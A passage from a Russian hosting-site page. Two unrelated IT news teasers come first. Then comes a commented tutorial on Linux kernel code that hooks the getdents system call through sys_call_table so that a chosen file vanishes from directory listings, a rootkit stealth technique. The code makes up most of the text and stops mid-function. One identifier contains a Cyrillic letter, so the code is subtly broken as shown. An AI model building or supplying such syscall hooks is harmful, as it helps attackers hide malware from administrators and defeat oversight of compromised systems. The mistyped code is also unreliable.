Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
extern void *sys_call_table[];
int (*orig_getdents)(u_int, struct dirent *, u_int);
Определим свой системный вызов.
int own_getdents(u_int fd, struct dirent *dirp, u_int count)
{
unsigned int tmp, n;
int t;
Назначение переменных будет показано ниже. Дополнительно нам понадобятся структуры:
struct dirent *dirp2, *dirp3;
Имя файла, который мы хотим спрятать:
char hide[]=»our.file»;
Определим длину записей в каталоге:
tmp=(*orig_getdents)(fd,dirp,count);
if(tmp>0){
Выделим память для структуры в пространстве ядра и скопируем в нее содержимое каталога:
dirp2=(struct dirent *)kmalloc(tmp,GFP_KERNEL);
сopy_from_user(dirp2,dirp,tmp);
Задействуем вторую структуру и сохраним значение длины записей в каталоге:
dirp3=dirp2;
t=tmp;
Начнем искать наш файл:
while(t>0) {
Считываем длину первой записи и определяем оставшуюся длину записей в каталоге:
n=dirp3->d_reclen;
t-=n;
Проверяем, не совпало ли имя файла из текущей записи с искомым:
if(strstr((char *)&(dirp3->d_name),(char *)&hide) != NULL) {
Если это так, затираем запись и вычисляем новое значение длины записей в каталоге:
memcpy(dirp3,(char *)dirp3+dirp3->d_reclen,t);
tmp-=n;
}
Позиционируем указатель на следующую запись и продолжаем поиск:
dirp3=(struct dirent *)((char *)dirp3+dirp3->d_reclen);
}
Возвращаем результат и освобождаем память:
copy_to_user(dirp,dirp2,tmp);